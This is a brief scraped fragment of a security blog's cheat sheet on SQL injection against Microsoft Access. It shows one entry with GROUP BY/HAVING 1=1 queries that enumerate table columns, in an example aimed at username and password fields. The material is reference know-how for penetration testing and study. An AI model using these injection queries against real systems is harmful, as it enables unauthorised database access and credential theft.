ffddca76_ess___Milo2012_s_Security_Blog__Prerequisites
[No] 3 [Description] Retrieving the Columns in a Table [Commands] SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1 [Prerequisites] 
Only if the column selection in a SELECT statement is not using *
SQL Injection for Microsoft Access | Milo2012's Security Blog
Prerequisites